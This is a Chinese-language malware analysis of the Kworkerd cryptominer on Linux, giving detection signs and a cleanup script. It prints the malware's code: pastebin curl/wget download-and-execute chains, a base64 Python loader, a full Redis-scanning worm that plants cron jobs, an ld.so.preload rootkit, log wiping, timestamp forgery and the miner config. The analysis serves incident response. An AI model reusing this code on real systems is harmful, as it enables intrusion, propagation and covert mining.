Kworkerd恶意挖矿分析
责编：gltian ｜2018-09-14 10:05:380x01 快速特征排查
TOP显示CPU占用高，但是没有高占用的进程
存在与未知服务器13531端口建立的TCP连接
文件/etc/ld.so.preload中指向了/usr/local/lib/libntp.so
存在可疑执行base64编码的python进程
0x02 快速清除
#!/bin/bash
ps aux|grep "I2NvZGluZzogdXRmLTg"|grep -v grep|awk '{print $2}'|xargs kill -9
echo "" > /etc/cron.d/root
echo "" > /etc/cron.d/system
echo "" > /var/spool/cron/root
echo "" > /var/spool/cron/crontabs/root
rm -rf /etc/cron.hourly/oanacron
rm -rf /etc/cron.daily/oanacron
rm -rf /etc/cron.monthly/oanacron
rm -rf /bin/httpdns
sed -i '$d' /etc/crontab
sed -i '$d' /etc/ld.so.preload
rm -rf /usr/local/lib/libntp.so
ps aux|grep kworkerds|grep -v color|awk '{print $2}'|xargs kill -9
rm -rf /tmp/.tmph
rm -rf /bin/kworkerds
rm -rf /tmp/kworkerds
rm -rf /usr/sbin/kworkerds
rm -rf /etc/init.d/kworker
chkconfig --del kworker
0x03 细节行为分析
搜索引擎查找相关问题，也有不少人碰到，比如：
首先，CPU占用率100%，但是top命令查看，无法看到高占用进程，怀疑植入了rootkit。
查看crontab的内容，已经被写入了一个定时任务，每半小时左右会从pastebin上下载脚本并且执行（pastebin是任意上传分享的平台，攻击者借此实现匿名）
https://pastebin.com/raw/xbY7p5Tb
拿到xbY7p5Tb脚本内容如下：
(curl -fsSL https://pastebin.com/raw/Gw7mywhC || wget -q-O- https://pastebin.com/raw/Gw7mywhC)|base64 -d |/bin/bash
脚本中再次下载了另一个脚本，并且对脚本内容进行base64解码后执行:
脚本主要逻辑提取内容如下（省略了一堆调用的函数）：
update=$( curl -fsSL --connect-timeout 120 https://pastebin.com/raw/TzBeq3AM )
if [ ${update}x = "update"x ];then
echocron
else
if [ ! -f "/tmp/.tmph" ]; then
rm -rf /tmp/.tmpg
python
fi
kills
downloadrun
echocron
system
top
sleep 10
port=$(netstat -anp | grep :13531 | wc -l)
if [ ${port} -eq 0 ];then
downloadrunxm
fi
echo 0>/var/spool/mail/root
echo 0>/var/log/wtmp
echo 0>/var/log/secure
echo 0>/var/log/cron
fi
#
#
#
该恶意脚本首先检查更新，如果有更新，执行echocron进行更新操作
https://pastebin.com/raw/TzBeq3AM
接着检查了/tmp/.tmph文件是否存在，如果存在则删除，并且执行python函数
名为Python的函数在脚本中为：
function python() {
nohup python -c "import base64;exec(base64.b64decode('I2NvZGluZzogdXRmLTgKaW1wb3J0IHVybGxpYgppbXBvcnQgYmFzZTY0CgpkPSAnaHR0cHM6Ly9wYXN0ZWJpbi5jb20vcmF3L2VSa3JTUWZFJwp0cnk6CiAgICBwYWdlPWJhc2U2NC5iNjRkZWNvZGUodXJsbGliLnVybG9wZW4oZCkucmVhZCgpKQogICAgZXhlYyhwYWdlKQpleGNlcHQ6CiAgICBwYXNz'))" >/dev/null 2>&1 &
touch /tmp/.tmph
其中执行的python代码经过了base64编码，解码后内容为：
#coding: utf-8
import urllib
import base64
d= 'https://pastebin.com/raw/nYBpuAxT'
try:
page=base64.b64decode(urllib.urlopen(d).read())
exec(page)
except:
pass
这段python代码又从https://pastebin.com/raw/nYBpuAxT读取了内容，并且进行了执行：
再次base64解码后的最终代码内容如下，是一个针对redis的扫描攻击脚本，用于扩散感染：
#! /usr/bin/env python
#coding: utf-8
import threading
import socket
from re import findall
import httplib
IP_LIST = []
class scanner(threading.Thread):
tlist = []
maxthreads = 20
evnt = threading.Event()
lck = threading.Lock()
def __init__(self,host):
threading.Thread.__init__(self)
self.host = host
def run(self):
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(2)
s.connect((self.host, 6379))
s.send('set backup1 "\n\n\n*/1 * * * * curl -fsSL https://pastebin.com/raw/xbY7p5Tb|sh\n\n\n"rn')
s.send('set backup2 "\n\n\n*/1 * * * * wget -q -O- https://pastebin.com/raw/xbY7p5Tb|sh\n\n\n"rn')
s.send('config set dir /var/spool/cronrn')
s.send('config set dbfilename rootrn')
s.send('savern')
s.close()
except Exception as e:
pass
scanner.lck.acquire()
scanner.tlist.remove(self)
if len(scanner.tlist) < scanner.maxthreads:
scanner.evnt.set()
scanner.evnt.clear()
scanner.lck.release()
def newthread(host):
scanner.lck.acquire()
sc = scanner(host)
scanner.tlist.append(sc)
scanner.lck.release()
sc.start()
newthread = staticmethod(newthread)
def get_ip_list():
try:
url = 'ident.me'
conn = httplib.HTTPConnection(url, port=80, timeout=10)
req = conn.request(method='GET', url='/', )
result = conn.getresponse()
ip2 = result.read()
ips2 = findall(r'd+.d+.', ip2)[0][:-2]
for u in range(0, 10):
ip_list1 = (ips2 + (str(u)) +'.')
for i in range(0, 256):
ip_list2 = (ip_list1 + (str(i)))
for g in range(0, 256):
IP_LIST.append(ip_list2 + '.' + (str(g)))
except Exception:
pass
def runPortscan():
get_ip_list()
for host in IP_LIST:
scanner.lck.acquire()
if len(scanner.tlist) >= scanner.maxthreads:
scanner.lck.release()
scanner.evnt.wait()
else:
scanner.lck.release()
scanner.newthread(host)
for t in scanner.tlist:
t.join()
if __name__ == "__main__":
runPortscan()
上述攻击脚本中，关键代码如下，通过扫描redis的6379端口，如果没有做访问验证，则直接进行远程命令执行进行感染。
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(2)
s.connect((self.host, 6379))
s.send('set backup1 "\n\n\n*/1 * * * * curl -fsSL https://pastebin.com/raw/xbY7p5Tb|sh\n\n\n"rn')
s.send('set backup2 "\n\n\n*/1 * * * * wget -q -O- https://pastebin.com/raw/xbY7p5Tb|sh\n\n\n"rn')
s.send('config set dir /var/spool/cronrn')
s.send('config set dbfilename rootrn')
s.send('savern')
s.close()
主逻辑中的python函数执行完毕，接着执行主要逻辑代码：
if [ ! -f "/tmp/.tmph" ]; then
rm -rf /tmp/.tmpg
python
fi
kills
downloadrun
echocron
system
top
sleep 10
port=$(netstat -anp | grep :13531 | wc -l)
if [ ${port} -eq 0 ];then
downloadrunxm
fi
echo 0>/var/spool/mail/root
echo 0>/var/log/wtmp
echo 0>/var/log/secure
echo 0>/var/log/cron
kills函数主要是检查是否有其他挖矿等程序在运行，直接干掉，这里不做重点代码内容展示
downloadrun函数的内容如下，从thyrsi.com中下载了一个伪装为jpg的文件，保存为/tmp下的kworkerds并执行：
function downloadrun() {
ps=$(netstat -anp | grep :13531 | wc -l)
if [ ${ps} -eq 0 ];then
if [ ! -f "/tmp/kworkerds" ]; then
curl -fsSL http://thyrsi.com/t6/358/1534495127x-1404764247.jpg -o /tmp/kworkerds && chmod 777 /tmp/kworkerds
if [ ! -f "/tmp/kworkerds" ]; then
wget http://thyrsi.com/t6/358/1534495127x-1404764247.jpg -O /tmp/kworkerds && chmod 777 /tmp/kworkerds
fi
nohup /tmp/kworkerds >/dev/null 2>&1 &
else
nohup /tmp/kworkerds >/dev/null 2>&1 &
fi
fi
}
Kworkerds文件是挖矿本体程序，拿到后扔进virustotal检查结果：
接着执行echocron函数，该函数在各个定时任务文件中写入下载恶意脚本并执行的任务，并且清除相关日志，这样加大了清理的难度:
echo -e "*/10 * * * * root (curl -fsSL https://pastebin.com/raw/5bjpjvLP || wget -q -O- https://pastebin.com/raw/5bjpjvLP)|shn##" > /etc/cron.d/root
echo -e "*/17 * * * * root (curl -fsSL https://pastebin.com/raw/5bjpjvLP || wget -q -O- https://pastebin.com/raw/5bjpjvLP)|shn##" > /etc/cron.d/system
echo -e "*/23 * * * * (curl -fsSL https://pastebin.com/raw/5bjpjvLP || wget -q -O- https://pastebin.com/raw/5bjpjvLP)|shn##" > /var/spool/cron/root
mkdir -p /var/spool/cron/crontabs
echo -e "*/31 * * * * (curl -fsSL https://pastebin.com/raw/5bjpjvLP || wget -q -O- https://pastebin.com/raw/5bjpjvLP)|shn##" > /var/spool/cron/crontabs/root
mkdir -p /etc/cron.hourly
curl -fsSL https://pastebin.com/raw/5bjpjvLP -o /etc/cron.hourly/oanacron && chmod 755 /etc/cron.hourly/oanacron
if [ ! -f "/etc/cron.hourly/oanacron" ]; then
wget https://pastebin.com/raw/5bjpjvLP -O /etc/cron.hourly/oanacron && chmod 755 /etc/cron.hourly/oanacron
fi
mkdir -p /etc/cron.daily
curl -fsSL https://pastebin.com/raw/5bjpjvLP -o /etc/cron.daily/oanacron && chmod 755 /etc/cron.daily/oanacron
if [ ! -f "/etc/cron.daily/oanacron" ]; then
wget https://pastebin.com/raw/5bjpjvLP -O /etc/cron.daily/oanacron && chmod 755 /etc/cron.daily/oanacron
fi
mkdir -p /etc/cron.monthly
curl -fsSL https://pastebin.com/raw/5bjpjvLP -o /etc/cron.monthly/oanacron && chmod 755 /etc/cron.monthly/oanacron
if [ ! -f "/etc/cron.monthly/oanacron" ]; then
wget https://pastebin.com/raw/5bjpjvLP -O /etc/cron.monthly/oanacron && chmod 755 /etc/cron.monthly/oanacron
fi
touch -acmr /bin/sh /var/spool/cron/root
touch -acmr /bin/sh /var/spool/cron/crontabs/root
touch -acmr /bin/sh /etc/cron.d/system
touch -acmr /bin/sh /etc/cron.d/root
touch -acmr /bin/sh /etc/cron.hourly/oanacron
touch -acmr /bin/sh /etc/cron.daily/oanacron
touch -acmr /bin/sh /etc/cron.monthly/oanacron
之后执行system和top函数,system函数中下载了一个恶意的脚本文件放置在/bin目录下，并且写入定时任务。
function system() {
if [ ! -f "/bin/httpdns" ]; then
curl -fsSL https://pastebin.com/raw/Fj2YdETv -o /bin/httpdns && chmod 755 /bin/httpdns
if [ ! -f "/bin/httpdns" ]; then
wget https://pastebin.com/raw/Fj2YdETv -O /bin/httpdns && chmod 755 /bin/httpdns
fi
if [ ! -f "/etc/crontab" ]; then
echo -e "0 1 * * * root /bin/httpdns" >> /etc/crontab
else
sed -i '$d' /etc/crontab && echo -e "0 1 * * * root /bin/httpdns" >> /etc/crontab
fi
fi
}
其中httpdns的内容为:
改脚本再次下载了一个脚本进行执行，脚本内容与上面主脚本内容类似（删减了kills system top几个函数；增加了init函数，即下载执行挖矿程序）：
Top函数主要进行了rootkit的行为。
函数将伪装为jpg的恶意链接库文件下载，首先放置在/usr/local/lib目录下，之后替换/etc/ld.so.preload文件，通过预加载劫持linux系统函数，使得top、ps等命令无法找到挖矿进程；
关于preload预加载恶意动态链接相关，可以阅读此文参考：
https://blog.csdn.net/aganlengzi/article/details/21824553
最后通过touch–acmr命令，掩盖刚刚执行的操作（使得文件存取时间和变动时间与/bin/sh的日期一致，避免被怀疑）
function top() {
mkdir -p /usr/local/lib/
if [ ! -f "/usr/local/lib/libntp.so" ]; then
curl -fsSL http://thyrsi.com/t6/365/1535595427x-1404817712.jpg -o /usr/local/lib/libntp.so && chmod 755 /usr/local/lib/libntp.so
if [ ! -f "/usr/local/lib/libntp.so" ]; then
wget http://thyrsi.com/t6/365/1535595427x-1404817712.jpg -O /usr/local/lib/libntp.so && chmod 755 /usr/local/lib/libntp.so
fi
fi
if [ ! -f "/etc/ld.so.preload" ]; then
echo /usr/local/lib/libntp.so > /etc/ld.so.preload
else
sed -i '$d' /etc/ld.so.preload && echo /usr/local/lib/libntp.so >> /etc/ld.so.preload
fi
touch -acmr /bin/sh /etc/ld.so.preload
touch -acmr /bin/sh /usr/local/lib/libntp.so
执行上述函数后，主脚本sleep10秒，判断是否与13531端口建立了连接，如果没有，则执行downloadrunxm函数（之后可以看到，13531是与连接的矿池端口）。
Downloadrunxm函数中，同样下载了一个伪装的jpg文件，另存为/bin/config.json，又再次下载了kworkerds并且执行：
function downloadrunxm() {
pm=$(netstat -anp | grep :13531 | wc -l)
if [ ${pm} -eq 0 ];then
if [ ! -f "/bin/config.json" ]; then
curl -fsSL http://thyrsi.com/t6/358/1534496022x-1404764583.jpg -o /bin/config.json && chmod 777 /bin/config.json
if [ ! -f "/bin/config.json" ]; then
wget http://thyrsi.com/t6/358/1534496022x-1404764583.jpg -O /bin/config.json && chmod 777 /bin/config.json
fi
fi
if [ ! -f "/bin/kworkerds" ]; then
curl -fsSL http://thyrsi.com/t6/358/1534491798x-1404764420.jpg -o /bin/kworkerds && chmod 777 /bin/kworkerds
if [ ! -f "/bin/kworkerds" ]; then
wget http://thyrsi.com/t6/358/1534491798x-1404764420.jpg -O /bin/kworkerds && chmod 777 /bin/kworkerds
fi
nohup /bin/kworkerds >/dev/null 2>&1 &
else
nohup /bin/kworkerds >/dev/null 2>&1 &
fi
fi
}
拿到的config.json的内容如下：
{
"algo": "cryptonight",
"api": {
"port": 0,
"access-token": null,
"worker-id": null,
"ipv6": false,
"restricted": true
},
"av": 0,
"background": false,
"colors": true,
"cpu-affinity": null,
"cpu-priority": null,
"donate-level": 0,
"huge-pages": true,
"hw-aes": null,
"log-file": null,
"max-cpu-usage": 100,
"pools": [
{
"url": "stratum+tcp://xmr.f2pool.com:13531",
"user": "47eCpELDZBiVoxDT1tBxCX7fFU4kcSTDLTW2FzYTuB1H3yzrKTtXLAVRsBWcsYpfQzfHjHKtQAJshNyTU88LwNY4Q3rHFYA.xmrig",
"pass": "x",
"rig-id": null,
"nicehash": false,
"keepalive": false,
"variant": 1
}
],
"print-time": 60,
"retries": 5,
"retry-pause": 5,
"safe": false,
"threads": null,
"user-agent": null,
"watch": false
}
连接的矿池为国内的f2pool.com鱼池：
0x04 样本收集分享
搜集遇到的恶意挖矿repo：https://github.com/MRdoulestar/whatMiner
原文链接：https://www.anquanke.com/post/id/159497
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